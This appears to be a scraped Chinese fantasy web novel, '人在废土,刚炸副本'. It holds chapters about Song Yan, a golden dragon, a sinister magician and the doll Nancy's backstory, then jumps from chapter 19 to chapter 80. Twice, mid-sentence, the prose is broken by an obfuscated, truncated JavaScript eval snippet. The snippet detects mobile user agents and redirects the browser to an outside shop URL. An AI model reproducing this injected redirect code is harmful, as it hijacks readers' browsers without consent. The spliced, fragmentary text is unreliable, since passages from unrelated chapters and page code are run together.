巨龙龙身遍布淡金色的鳞片,坚硬而冰冷,在阳光下闪烁着黄金般的色泽。两侧的骨翼即使收起,也巨大无比,展开更是遮天蔽日。头部覆盖着白色骨甲,如中世纪骑士佩戴的头盔,骨甲下方,是暗金流转的龙眸。 巨龙身旁,站着一个年轻女子,身穿教廷长裙,正在布道。 “天命真龙,降而生兹*......吾神不忍汝等困于人世苦难,遣吾来此。” “神灵降世,邪灵避让。信徒中笃信吾神者,或可得龙神赐福。” 话里话外,都是来信龙神,放弃你那杂牌子的野神吧。 杂牌子的野神:...... 魔术师觉得自己有被扫射到,他眼珠子转了转,阴鸷的目光在宋言身上打转。 他刚想开口,却被身旁一个箭步撞开他,在巨龙身前“扑通”跪地的小孩打断。 小孩衣衫破烂,在凛冽的冬日被冻得发抖。 但他脸上,是近乎狂热的虔信。 他神情激动:“龙神在上!感谢您的赐福,让我弟弟活过来!” “我...我原本都打算给他埋了,实在忍不下心,向您许愿,没想到...没想到我弟弟竟然复活了!” 他涕泪连连,不住在宋言面前磕头。 闻言,围在巨龙身边的童话镇居民眼神不由热切起来。 死而复生,何等神迹! 如果他们也能得到龙神赐福...... 隐藏在人群里的魔术师阴恻恻地看着宋言,他清楚,龙神的势已经被宋言造起来了,他再想通过魔术让人许愿,今天肯定行不通。 而这个小世界,循环周期是一天。 他的特性【泥菩萨】,越多人因他而狂热,他的菩萨金身就越坚固,他能通过【许愿】得到的力量就越强。 只要这个小世界再循环几次,他就能收集到足够的力量,这个辐射区的畸变核唾手可得。 那些蠢货在外面厮杀,却不明白真正的好东西,从不在现实的童话镇。 他如半空中盘旋的秃鹫,盯着宋言这只企图螳臂当车的白兔,在思索该从哪里下嘴。 就在他思索的片刻,天,霎时黑了下来。 魔术师一诧,随即冷笑。 总有些小老鼠以为自己是改变历史流向的礁石,洪流到时,才会醒悟自己只是被激流冲走的沙尘。 黑云压境,没有阳光照耀,金龙身上的光泽也暗淡不少。 宋言警惕道:“有东西来了。” 宋言话音未落,天空如破了一个巨口,黄豆大的雨珠从怪兽的巨口倾泻而下。 黑色的雨如硫酸般落到地上,腐蚀出一个个小坑,冒着丝丝缕缕的热气。 人群都聚集在中心广场,原本晴朗的天气突然转雨,猝不及防淋了一头湿。 何况,雨还有毒。 “啊啊啊我的脸!!” “快躲到树下,这雨有问题!啊啊啊不好了树被雷劈倒了!!” 此起彼伏的呼痛声,喊叫声在广场上弥漫,如毒药般迅速蔓延。 被黑雨淋到的人,开始畸变,面部长出灰黑色的鳞片,指间长出蹼,十指变异成利爪,指尖长出尖钩,泛着蓝黑色的光泽。 被黑雨灼伤的皮肤,流出腥臭的脓水。 只有两个人并一头龙毫发无损。 巨龙一端的骨翼张开,挡住宋言头顶的黑雨。 宋言和魔术师遥相对峙。 魔术师面带微笑地看着宋言,声音优雅。 “聪明的小姑娘。” “很有创意的想法,你和你身边那头龙,的确很令我意外。” “可惜你的努力都是徒劳,这个故事即将走向终点,明日的太阳不会再次升起,这个故事将划上最后一个句号。” “等我拿到畸变核,会感谢你为我献上的这场精彩演出的。” 几乎是在魔术师话音刚落的一瞬间,一道流星从天边划过,照亮漆黑的穹顶,如离弦的弓箭一般向宋言这边射来。 魔术师已然飞身而上,他高高的礼帽在风雨中不乱分毫,径直向那道流星飞去。 宋言眼神示意,金色巨龙立刻心领神会,将宋言载在背上,巨大的龙身腾跃而起,骨翼遮天蔽日,竟比魔术师还快一些! 两道人马在空中交汇,如疾风遇闪电,巨龙率先向魔术师喷出一道火焰,魔术师却早有预判,侧身躲过,反手悬空控制一把匕首刺向巨龙金眸。 匕首刀刃泛着幽蓝色,一旦刺下,金龙不瞎也残! 巨龙身躯庞大,匕首却小而敏捷。金龙难以翻腾迅速避让,眼看匕首将刺入龙眸! 然而,下一刻,匕首被一把冷铁打开了。 是宋言! 宋言骑在龙背上,发丝在风中凌乱不堪,眼神却极亮极摄人心魄。 她左手抱住龙身,右手拎着把螳螂镰刀,一把将即将刺入龙眸的匕首打开,以迅雷不及掩耳之势,将镰刀如标枪一般掷向魔术师。 魔术师轻松躲过,刚想开口嘲讽宋言,却被接踵而至的龙息灼伤。 一道金色的龙焰在宋言掷刀时同时发出,提前预判魔术师的落脚点,在他躲过刀枪后如阴冷的毒蛇一般缠上魔术师。 火焰从衣角开始,以燎原之势迅速卷上魔术师的半边身体。等他反应过来扑灭,手腕已经被烧得焦黑。 魔术师气极反笑:“好漂亮的龙啊,上次见到这样漂亮的大家伙还是几十年前的事了。” 他阴鸷地盯着巨龙:“可惜,那条龙死的时候,全身鳞片被拔光,四只爪子都被砍下来,还瞎了一只眼。” “屠龙者还在满世界找龙,希望你能晚一点被他找到。” 巨龙的瞳孔微不可觉地颤动了一下。 宋言神情平静:“那我也送你一句话,上一个威胁我的人,坟头草已经两米高了。” 就在他们对峙的几秒钟,天边的流星已然靠近! 魔术师不再管宋言,飞身而上,眼看着要将那道流光抓在掌中。 就在这一刻,变故陡生,流星就像突然生出心智,轨道急转,一个急转弯躲过魔术师,直坠地面。 落跑的流星就像给魔术师脸上扇了一个大逼兜,宋言趁着魔术师这一秒的愣神,急速掉头,朝地面飞去。 无数被黑雨腐蚀、异变的人在地上打滚,广场的角落泛起白色微光。 宋言上前,正在发光的竟然还是个老熟人! 南希神色痛苦地支撑着自己的身体,半蹲在地上。刚刚那颗流星在坠地的一瞬就进入了南希的身体,如野兽般在她经脉血液里冲撞,灼烫的火焰在她身体里燃烧,像是要将她燃成灰烬,又像是......要教她浴火重生。 魔术师在宋言身后停步,恍然大悟:“怪不得这个小世界每次毁灭后都会重启,我还以为是特殊机制,原来是因为你啊。” 他看向宋言,笑道:“要不是你和这条小龙,我还真就被这个小世界蒙骗过去了。” 他仿佛在和虚空中的某个存在对话:“阁下真是好灵巧的心思,将畸变核和活人融合做成锚点,大隐于市,再用其他童话故事做遮掩,即使这个关键的故事被发现了......” “阁下也有后招,进去了,除非小世界被毁掉,或者锚点被找到,不然困死在里面也出不去。” “要是我真的毁掉这个世界,恐怕,畸变核也会随着这个小姑娘灰飞烟灭。” 他拍手道:“精彩!真是精彩绝伦!” 姜夜白已经从龙身变回人形,翻出一把黑伞撑在宋言头顶,见魔术师上前几步,不禁警惕地盯着他。 魔术师却并不管两人,径直道:“我倒是很好奇,阁下大费周章藏起来的畸变核,到底有什么秘密?” “或者说,是什么让阁下盯上这个名不经传的辐射区?” 宋言听着魔术师的自言自语,心念急转。 她之前就觉得矛盾。这个辐射区没有形成域主,却有相当精巧的表里世界结构。 就像畸变核成了精,为了防止自己被畸变种一口吞了,搞出来的复杂结构。 但是魔术师给她提供了另一种思路。 这个副本没有域主,不代表这个副本的背后,没有其他人的手笔。 听魔术师的意思,那个人特意设计出这个副本,是为了隐藏畸变核。 可是,为什么要把畸变核藏在一个辐射区里?这么宝贝它的话,不该打包带走吗?除非.... 18. 童话镇16 《人在废土,刚炸副本》全本免费阅读 018 * 夜晚,童话镇。 南希的脑子突然宕机了一秒。 任何微小的错误在生死相搏的战斗中都会变成催命的钟声。 何况比起错误,南希更像突然灵魂出窍。 “砰——”方可眼疾手快,手中弯刀替南希挑飞一个从背后偷袭她的傀儡。 她一边替南希解围,还得应付和自己缠斗的敌人。 “喂,你怎么回事。”方可飞速道。 她有些恼火,战场上交付后背的同伴,一旦出问题,也等于将队友的咽□□到敌人刀下。 如果不是南希是宋言找的外援,此时她已经像在军部一样骂出声了。 “我——”南希抿唇,下意识开口解释,又及时住口。 她只是在那一瞬间想起来一些事。 她一旦想起这些事,也就意味着她作为人偶的使用年限已经到了尽头。 作家总是喜欢添油加醋,将原本道听途说的传闻增改成都市传说。 一开始就没有什么人偶师和童偶,故事最初,是一个姐姐想要完成妹妹的遗愿。 妹妹在死前恳求姐姐,死后将自己的身体烧掉,她不想死后还困在躯体中。 然而,妹妹的身体被烧成一个灰扑扑的泥像,南希在此后很长一段时间里,用各种材料将自己的身体修补成现在的样子。 那个年代,有很多像南希这样的人偶。 用途一般是孩子的玩具,祭祖的道具。 因为原材料特殊,南希继承了一些妹妹的记忆。 她知道,自己作为替代品而诞生。 如果是在替身小说里,南希扮演的角色应该是霸总的金丝雀,或者时薪十万的职业打工人。 但是在这个故事里,霸总显然没有霸总的自觉。 女人整日早出晚归,南希就被搁置在书架上,落了一层薄薄的灰。 南希还没有给自己换上球形关节,泥巴捏成的小短腿焊在身体上。 她只能在女人经过时瞪起黑豆大小的眼珠子,怒目圆睁。 喂,好歹是你妹妹的骨灰烧的东西,多少爱惜一点吧! 然而女人没有注意到愤怒的人偶,直到有一次经过时,她不小心撞到了书架,书架上的书稀里哗啦掉了下来 掉下来的还有灰扑扑的小人偶。 人偶“砰”地一声砸到地上,摔断了一条胳膊和一条腿。 “啊——对不起!”女人连声道歉,将人偶和掉下的躯干小心放到桌子上。 南希无语:她就没见过这么蠢的人。 但是她只是个人偶,人偶是发不出声音的,她只好将这句话憋回肚子里。 女人手忙脚乱将人偶的尸块拼在一起,可是胳膊和腿已经摔成几瓣,拿胶水也黏不回去。 她灵机一动,干脆将自己练习画画的木偶的四肢拆下来,装到南希身上。 嗯......何尝不是一种碎尸重组呢。 南希嫌弃地看着自己被拼好的身体,人偶没有人权的吗?什么东西都能往她身上拼。 真是的,是饭吗就端上来。 她撑着身体站起来,却不由愣了一下。 她竟然可以自由活动了?! 南希此时才回过神,不自觉抬眼。 女人惊奇地打量她:“啊,你原来是可以自己动的吗?” 南希:......不止蠢,还没见识。 女人听不到南希的腹诽,笑眯眯地看着她:“看来,我又要有个妹妹啦。” 明亮的阳光透过窗纱,洒进室内,照亮女人笑盈盈的眉眼。 算了。 南希看着她的笑靥,心头忽然泛起一股说不明的情愫。 她突然之间觉得,作为别人的替代品,并不是一件坏事。 日光在窗棂的罅隙中慢悠悠溜走,家里的米缸一天天空下来。 “你说,这个偶能卖多少钱?”南希戴着单片眼镜,用细布仔细擦拭刚做好的人偶。 她问道:“能买几块小蛋糕?” 南希口里的小蛋糕,是街口那家蛋糕店推出的新品。 蛋糕被摆在最显眼的位置展示,在LED灯带下,巧克力流心香醇浓厚,奶油被雕成精巧的玫瑰,在蛋糕边缘围成一圈。 女人无奈道:“家里没米了,要先买米。蛋糕......就下次再买?” 人偶被南希摆在架子上。 这是个男体偶 人偶的脸无疑十分美丽,长长的睫毛微微卷曲,眼睛是透明的蓝色玻璃珠。 南希没有特意给他做衣服,只是随意给他套了件起球的衬衫,却也无损他的美丽。 其实以这个人偶的美丽程度,在市面上的价格把蛋糕店买下来都绰绰有余。 如果南希能再给它安一个“爱偶”模块,卖给帝都那些癖好小众的贵族,拿到的数字,接近天价。 商品能卖出什么价格,全看买家心里它值多少。 不过显然,收购南希制作的人偶的采购商,不会告诉南希人偶的真实价值。 南希自己就是摇钱树,却只能拿自己的金元宝换别人指甲缝里漏下的铜钱。 南希神情认真:“那我多做几个,就能买蛋糕了。” 女人摸摸她的头:“你做这个都几个晚上没合眼了。宝贝,就算你不是人,也该休息吧。” “南希,我不想被邻居举报雇佣童工。” 南希:“可是你路过蛋糕店的时候看了好久。” 南希眨眨眼:“你停留在蛋糕店门口的时间是五秒钟,比你路过其他店铺时平均多了三秒。” “你很想要那个蛋糕,为什么不买呢?” 南希的眼睛泛起银蓝色的光泽:“根据我的数据库分析,人类想要一件东西却不说出口,一般是希望别人主动发现。” 她从房间里拿出一个四四方方的盒子,里面装着一个玫瑰雕花的巧克力蛋糕。 女人神色诧异。 南希得意道:“我分析了那个蛋糕的分子结构和馅料配比,然后用垃圾场淘来的零件组装了一个3D打印机,你尝尝,味道是不是和你想的一样。” 南希不仅用垃圾场淘回来的材料给自己重新捏了个身体,还在那里捡到了一枚电子芯片。 用随处可见的电线和晶体管和它组装,就可以拼出一个简易电路。 南希小心地将电路接在自己的陶瓷身体里,和芯片连接,她甚至还注意到了美观性,尽量将所有电线藏在身体里和衣服下面,只在脖颈处和手腕处露出一点电路装置。 通电之后,传感器亮起一丝微光,随着电路传遍全身,南希本该是心脏的地方被蓝光点亮。 如果在科技更先进的文明,南希这种情况会被称为“机械生命”。 南希惊喜地发现,连上电路后,这枚芯片竟然还能上网! 迟到的网瘾使南希在制作人偶之外的时间几乎都泡在网上。 她刷到一个帖子:【拿捏年上姐姐的十个小技巧】 南希眨眨眼,毫不犹豫点了进去。 排在第一名的是:记下姐姐的喜好,送她对应的礼物。 南希默默记下这条,鼠标往下翻。 排在第二第三的分别是:和姐姐单独旅行;和姐姐同居养猫。 南希觉得,第二条和第三条还有一点难度,旅行容易旅到一半被荒野上的劫匪打劫;养猫嘛,姐姐猫毛过敏。 但是第一条,对比之下就显得很容易完成。 她思索良久,在冗杂的数据流里找出姐姐可能喜欢的礼物。 一块巧克力蛋糕。 为什么要做这些?南希一瞬间可以检索出很多个答案。 不过她觉得答案不在1和0组成的矩阵里,反而是女人最近给她当教材的识字课本上,写好了她想要的答案。 那个字的配图是一颗心贴着另一颗心。 是“爱”。 南希制作的这个人偶最后没卖出去。 因为在她做好后不久,童话镇就变成了辐射区。 房门被敲响,外面畸变种横行,但是门口的人却毫不在意。 南希透过门缝,看见一双蔚蓝色的眼睛。 男人身量颀长,弯腰挤在矮小的门户下,屈肘依靠着屋门,笑眯眯地看着南希。 他高而挺的鼻梁下,嘴唇薄而透明,应该是一张英俊的脸的,却无端显出几分憔悴。 男人打量南希:“机械生命吗?还真被他们给造出来了?我还以为研究院那帮家伙只会拿纳税人的钱打水漂呢。” 男人的视线停留在南希身上有些久,半晌,才下结论。 “啊,白高兴一场,不过无机质获得天赋,真是难得。小姑娘,你家大人呢?” “她家大人在这呢。” 一个沉稳的女声从南希背后传来,这样炎热的天气,她仍然穿着夹花大袄,眉目间笼着几分病气。 她挑眉看向门口的男人:“沈以泽,当初在帝国军校的时候,我怎么没发现你这么阴魂不散呢?” 她倚着门:“先说好,给你十分钟,十分钟之后从哪来回哪去。我离开军部的时候就说过,不再见以前的人。” 兰德木然地端着一盘水果走进客厅,膝盖撞到桌子,球形关节上的漆顿时磕掉一块。 南希扶额道:“算了,兰德,这里不需要你,你随便找个地方呆着吧,你的腿…等会我来修。” 兰德面无表情:“哦。” 他手部仍保持着端果盘的动作,听从南希的指令,转身离开。 客厅很小,两个成年人并一个女孩,局促地挤在沙发上,长桌上摆着一台电视机,坏了,还没修,屏幕上闪烁着雪花般的黑白噪点。 沈以泽拣出一个橘子,尝了一口,五官瞬间扭在一起:“呸,苏芙,你怎么混成这个样子,酸死了。” 苏芙瞥他一眼:“我都快死了,穷讲究干嘛。” 南希惊异道:“你快死了?!” 声音带着她自己都没察觉到的心焦。 苏芙摸了摸南希的头,笑道:“我是要死了,不过死亡于我而言,不是很恐怖的事情……也许,就像睡了一觉。” 她眼睛在沈以泽和南希之间转了转,道:“对 19. 童话镇17 《人在废土,刚炸副本》全本免费阅读 019 * 沈以泽的姿态,好像来找阔别多年的前任求复合。 虽然目前的情况,和求复合也没什么区别。 苏芙沉默良久,才说:“你的方案风险太大了,将异能者做成锚都很难,何况你想将南希和钥匙碎片融合,作为锚稳定‘领域’。” “南希只是我的天赋的衍生物,她承受不了的。” 苏芙道:“但是,你面前就有一个更合适的容器。我和碎片融合,会是一个更好的锚点。” 苏芙觉得当初和沈以泽其实不算闹翻,只是两人选择了各自认为更正确的道路。 不过现在看来......他们谁也没能证明自己是对的。 她的方案行不通,那么试试沈以泽的未尝不可。 重要的是,她和沈以泽目的一致,都想关上[门]。 他们一同走过了那么多世界,见证了那些世界的覆亡。 现在......终于可以结束了吗? 漫长的寿命未能教会她软弱,她愿倾尽一切挽救多年前的错误。 哪怕代价是她的性命。 沈以泽皱眉道:“苏芙,你是不是太高看自己了。你现在的身体状况,能承受五分之一的碎片都是我托大。” “况且,你睁眼看看你的好南希吧。她和你以前那些衍生物不一样。她会自己给自己进行机械改造,她身上那枚芯片应该是三年前的最新款。” 沈以泽指着角落里的兰德,道:“这个人偶也是她做的吧,这个精致度,不像出自你手。” “她这种情况,研究院有更确切的命名——‘进化’。大灾变带来的不只有灾难,还有机遇。她相当幸运,依靠你的天赋从无机物进化为有灵智的类人生物,之后又乘着大灾变的东风,几乎完成了最后一步跨越,成为异能者。” “但是她始终还差一步。很遗憾,进化之门不向人偶娃娃开放,只是你的天赋暂时蒙蔽了规则,但在更高级的规则面前,你的天赋也无能为力。” “除非......我在她身上植入世界的顶层规则,在这层规则庇护下,她才有和其他人同台竞技的资格。” 沈以泽屈指轻敲桌面,将新的筹码推到苏芙眼前。 他说:“苏芙,你不可能保护她一辈子,意外开启进化却得不到入场券的非人生物,要么被畸变种当成小点心吃了,要么被人类当作畸变种一并清除。” “但是,如果和碎片融合,她会被进化之门承认,天赋塔里会有她的位置。” 沈以泽平视苏芙,像在陈述事实:“南希和碎片融合,成为这个‘领域’的锚。这是最合适的方案。” 狭小的客厅一时陷入沉默。 南希忽然开口:“那就融合吧。” 苏芙不可置信地看向她。 目光中夹杂了诧异,无奈,悲伤......甚至有一丝欣喜。 苏芙承认自己不是圣人,在听到沈以泽给出的方案,只要牺牲南希就能完成他们孜孜以求数百个世界的目标的时候,她动过心。 但是她比沈以泽多一点同理心,即使南希是她的衍生物,她仍然觉得自己没有权利替南希做决定。 钥匙与那个自称为【神】,毁灭了她的世界的东西位格相同。 让南希和钥匙碎片融合,和送她去死没差别。 沈以泽是在赌,赌南希的运气和特殊性,能支撑她完成他的计划。 但是他确实从头到尾都没有在说谎,这个如此冒险的方案,已经是他们在当下能做出的最好的选择。 成功,则南希获得自保的能力,沈以泽逃脱畸变种的追捕。 失败,那么明年今日就是他们的忌日。 苏芙犹疑不决,她可以自己慷慨赴死,但是没有权利替别人做出决定。 何况她早已把南希视为亲人。 南希将瓷白色的球形关节搭在苏芙手上,重复道:“融合吧,苏......阿芙姐姐,我本来就是你的替死娃娃,你在卡巴拉用过一次,为什么现在不敢用了呢?” 南希从苏蓉那里继承的记忆并不完整,但是此情此景,故人重逢,那些尘封在旧年月的泛黄相片一张张在她眼前翻过。 苏蓉诞生在一个工厂的流水线上,同她成千上万个被同时制造出来的兄弟姐妹一样。 那个世界畸变种更加猖獗,人类甚至难以形成成体系的安全区,只有几个基地苦苦支撑。 灾难年代,人命格外值钱。 指的是那些格外金贵的人。不论什么年代,总是有人天生命好,一辈子在长辈的荫蔽下,就可以无风无雨地过完一生。 苏蓉和其他几个娃娃被摆在柜台上,等待着那些金贵的主顾挑选。 在水和食物被视为黄金的灾难年代,竟然还有人特意给替死娃娃戴上假毛和玻璃眼珠,就是为了卖相好看一点。 苏蓉有些不能理解。 摆在苏蓉身边的几个娃娃很快就卖了出去,只剩下苏蓉一个娃娃孤单地被摆在橱窗里。 苏蓉觉得,这得归功于制作她的人给她点唇的时候,点重了一点。 漆黑的眼珠,红艳艳几欲滴血的嘴唇,在苏蓉身上相得益彰。如果那个世界也有伽椰子,苏蓉无疑是个可以以假乱真的手办。 在苏蓉的世界里,不存在时间的概念。 对于替死娃娃来说,只分为未使用和已使用。 她被使用的那天,就是她的时间结束的时刻。 苏蓉不记得过了多少天,人偶店又来了一个年轻女人。 她觉得该称呼“女人”而不是“姑娘”,是因为这个女人身上有一种岁月磋磨的味道。 小姑娘是天真可爱的,没见过血流漂橹,没尝过世态炎凉,总是有一腔的执著和热血。 但是女人,要经历无数磨难与曲折,命运无法压倒她,蜜糖无法侵蚀她,岁月无法磋磨她,才仍能保有一双明亮又沧桑的眼睛。 或者说,这是“人”的应有之义。 苏蓉没见过这样的眼睛,她同伴的主人们像沾满蚂蚁的饴糖,那些付不起她价格的人是灰白色的工蜂。 苏蓉脑袋前倾,企图看得更清楚。 她的脖子越来越靠前,上半身越来越低...... ——“砰”的一声,她摔进了女人怀里。 苏蓉嘴唇上的红色染料被蹭到脸颊上,斜飞出一抹绯红。 她怔怔看着眼前的女人,嘴唇张大,还没明白过来自己是怎么掉下来的。 女人先她笑出了声:“啊呀,好可爱的娃娃。” 可爱? 苏蓉面无表情地想,这人恐怕是脑子出了问题。 女人身后的年轻男子抬起蔚蓝色的眼睛,轻笑出声。 “苏芙,加上这个娃娃,你在这个世界招惹的人偶,能开个玩具店了。” * 大多数时候,苏蓉觉得苏芙是个好主人。 以前呆在人偶店里只能当橱窗公主,但是跟着苏芙,可以到处开新地图。 即使人偶店之外的世界遍地衰草枯黄,废弃的厂房和轨道被冰雪覆盖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923074|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子,思索道:“看来在这里晋升,最难的不是守关Boss,而是一成不变的极端环境。” 宋言已经是很能忍耐的性子,但在这样极端的环境里呆了半天,也觉得身体的温度在一点点流失,肢体逐渐变得僵硬,手指关节像生了锈的齿轮,沉重得难以抬起。 宋言刚爬了两层,已经体力不支,她觉得自己还是太弱了,不然还能多爬两层。 如果这话让方可或者殷越听到,一定会大跌眼镜,即使是方可,当初爬上二层也足足用了半个月,可宋言仅仅用了六个小时。 她并不知晓命运暗中的馈赠。 系统慢悠悠道:“不然怎么叫[毁灭]呢?这条命途的主人曾说,毁灭是新生的预言。一切终将走向毁灭,也将归于虚无。” “你看,这里像不像众生安眠的坟场。” 宋言点了点头:“确实有些像,这里的色彩太少了。” 空气中除了凌冽的风声,只有宋言袖中小龙偶尔的噫噫声,放眼望去,大地上除了空茫茫的白,再见不到其他色彩。 太寂寞了、太孤独了。 系统提醒道:“宿主在急剧失温,再过30分钟,你的体温会下降到32度左右,伴随活动能力衰退,脉搏速度变慢,皮肤呈蓝紫色等症状。” 宋言打断了它的喋喋不休:“知道了,我就下了。” ...... 现实。 宋言醒来的时候,闻到一阵香气。是蛋炒饭的香味。 嘶......谁家在炒饭,还怪香的。就是感觉有一点不好,炒饭的不是她家的锅。 宋言昨夜从天赋塔登出后,倒头就睡,也没注意自己是就着沙发睡了还是回到卧室才睡着的。 她摸了摸底下柔软的床铺,觉得自己应该是回到卧室才睡的。 不愧是她,脑子都不清醒了还记得找到自己的床。 宋言又揉了揉酸痛的肩,脱离天赋塔后,她身上剩余的热气仿佛也留在了塔里,浑身上下连血都是冷的,寒气从肺腑漫上来,沁入四肢百骸。 但她看了一眼体内,那团黑色的火焰似乎烧得更旺盛了。 系统道:“这就是在塔里呆太久的后遗症,塔里受到的伤害会直接作用于你的身体,出现躯体化症状。” 宋言不太在意:“等我晋升自然就好了,哦,对了,殷越不是给我寄了一箱基因药来着。” 系统:“......是的,药在楼下,你这个样子,确实需要吃点药。” 宋言的卧室在二楼,一楼是客厅和各种功能区,包括厨房和洗漱台。 宋言不急着吃药,那箱药摆在客厅里,也没人来偷。比起吃药,她更想先洗把脸,在冰天雪地里待了一晚上,她呼吸都仿佛带着铁锈味。 夏季的凉水不需要加热,宋言打开水龙头,接了盆热水洗脸,衣袖被捋起,露出一截劲瘦光洁的小臂,洗脸巾却在中途停止了动作。 毛巾被搭在一边,宋言突然意识到一个问题——她的手链不见了。 一同不见的还有她进入塔时身上披着的外套。 饭菜的香气顺着空荡荡的客厅飘过来,宋言缓缓回头,遥遥望见了一双黑曜石一般的眼睛。 姜夜白眼睛弯了弯:“好巧,偶遇。” 宋言看了看他,欲言又止,目光最后停在餐桌上,咽了口唾沫,抿唇道:“事已至此,先吃饭吧。” 80. 帝都(五) 080 * 三日后,第一抹晨曦透过落地窗,落到宋言身上时,她刚刚爬到第五层寒狱。 宋言有些惋惜,她一边接过姜夜白递过来的姜汤,一边道:“要是我再快一点,就能到六层了。怪物太难缠,复活了四次,后面台阶都要消失了,我只好停在第五层。” “你已经很好了。”姜夜白尝了口汤,觉得有些淡,又往里头洒了勺糖。 宋言盘腿坐在沙发上,嫌汤太烫,先喝了一瓶基因药,摇头道:“还是太慢了,你爬到第五层,用了多久?” 姜夜白舀汤的手停下,迟疑片刻,才道:“我没爬过塔。” 宋言蓦然抬头看他,热汤升起丝丝缕缕的白汽,水雾氤氲,他道:“对我们这种人来说,出生就在塔尖,不存在爬塔,也没有什么台阶。我不太喜欢进塔,对我来说,塔里什么都没有。” “什么都没有?”宋言重复道,“塔尖是什么样的呢?你又为什么会知道自己在塔尖?” 宋言心念微转:“还有‘你们这种人’,你们是哪种人,还有谁?” 短暂的沉默后,姜夜白先回答了第一个问题:“塔尖像无边无际的监狱,里面全是黑的,黑得让人窒息。” “不是我知道我在塔尖,而是......我听得到下面的人的哭声和打斗声,很吵,他们都争着往上爬,但是上面其实什么也没有。” 他斟了一碗姜汤,吹凉了汤面,慢条斯理道:“你别往心里去,每个人爬塔的方式不尽相同,说不定你的终点和我不一样呢?” “有人的塔鲜花繁盛,有人的塔噩梦缠身,你的塔如何只和你有关。” ...... 内部赛如期举行。 比赛场地在地下一层,宋言乘电梯下去的时候,外围已经围得水泄不通。喧哗的议论声传过来,几道声音格外刺耳。 “听说方可新招的那个天赋只有C级?这也来参加内部赛?”有人说,“没有人劝过她吗?内部赛的范围是整个军部,又不是他们第一支队......她不会以为谁都像方可那样护短吧。” 一阵哄笑声紧随其后。 天赋评级在军部不是秘密,都挂在内网的个人信息上,方便不同支队的人搭档出任务时了解彼此情况。 另一道声音回应那人:“你说的那个新人姓宋......姓宋么,这就很明白了,林上将和宋家那位是什么关系?要不是那个新人19岁,我都要怀疑......” “怀疑什么?”一只手拍上那人肩头,只轻轻一拍,甚至没用多少力,他却感觉肩头仿佛压了一座山。 他僵硬地回头,正对上一张他此时绝对不想看见的脸。 方可的相片一直挂在军部的荣誉墙上,即使她不认识军部很多非战斗系的职员,但军部的人一定认识她。 那人喏喏道:“......方队早。” 方可笑道:“继续说嘛,我也好想知道你怀疑什么。说完我好交给我的副队去查,查出来属实,给你立一等功。” 她身后浮出一个影子,如果那人不主动站出,几乎没人能注意到他。 殷越拿出一个本子,看着被方可抓住的男人,平板道:“你说,我在记。” 男人登时闭了嘴。 方可于是道:“背后议论长官,传播不实消息......诋毁同事,这些加起来,应该怎么罚?” 身后的人道:“革职,并且根据帝都法律,诋毁有上将军衔的军官,需要去刑狱司走一趟。” 男人顿时大惊失色:“方队,我只是开了个玩笑啊!” 方可皮笑肉不笑:“对,你只是开了个玩笑,我也只是按照帝都法律,请你配合调查。” 男人被殷越带下去,周围的议论声顿时少了许多,宋言循着声音找过来,在方可身边坐下。 同样找过来的,还有一个披着白大褂的女人,她今天没有戴口罩,只脖子上挂着副金丝眼镜,容貌温雅,理了理衣襟,冲身周扫了一眼,道:“方队出行,众人避让啊。” 不知何时,方可身边已经空了一大片。地下一层是训练场,场地不大人却很多,方可这边却连风都凉快些。 “你这是给小孩撑场子来了?倒像你们第一支队的作风。”女人笑吟吟地看向宋言,目光一触即收。 军部外勤组一共有五队,虽然都出外勤,任务内容却天差地别。而这些支队之间并没有明确的晋升机制,自从方可的第一支队去年空出了一个名额,便被无数有心人盯上。 但现在这个名额却被一个据说是方可路上捡的女孩子夺走,一时间,这个消息就像长了翅膀的鸭子,从谁嘴里都能听一耳朵,一撮人忿忿不平,大多数人是看热闹。 毕竟,吃瓜,当然是同事的瓜最好吃。 “不过也是,那群人下手没轻没重,我要是你,我也得来看着,手底下好容易有个这么水灵的小姑娘,要给人打残了,我得怄死。”女人道。 宋言两辈子加起来,第一次得到“小姑娘”的评价,顿觉好笑,转瞬就听到方可叹了口气,道:“温姨,你就别埋汰我了,撑不撑场子无所谓,我挑的人我有信心,成名不在一时,我19岁的时候,也不知道在哪啃瓜呢。” 女人笑了笑:“这话不像是说给我听的,难为你这么用心。” 方可摇摇头,转了话题:“今天来这的人怎么这么多?以往都没这么多人的。” 当然,以往她也不会来看。 女人微微挑眉:“你不知道?这次内部赛,有个新人是天榜第三,外盘他胜率最高,据说那位姓楚的将军......打算让他接自己的班。” 她眨了眨眼:“但今天人格外多的原因嘛,不是这个......喔,原因已经来了。” 顺着她的视线,一个身形颀长,黑发黑眼的青年在宋言身边落座。 他越过宋言,朝方可弯了弯眼睛:“方队长。” 系统的pdf上有主要人物信息,每个人都是一视同仁的大头照,即使在这些大头照中,这个人的脸也格外精彩。 他面皮格外白皙,见人先带三分笑,嘴角浮现出一个小小的梨涡,再难缠的人,也对这张脸生不起气来。 方可打量他几秒,语气带些恭敬:“沈公子。” 沈溯微微点头,没什么架子:“听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938563|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说方队长终于物色到心仪的队员,是哪一位呢?” 方可看向宋言,他才恍然道:“原来是这位姑娘吗?果真龙章凤姿......不同凡响。” 宋言心里一乐,她的资料估计在军部都传遍了,沈溯要真好奇,不可能不知道她长什么样,这会是在拿她和方可套关系呢。 话虽如此,她这个关系仍然笑了笑,沈溯也就随口一提,略过她继续和方可攀谈。 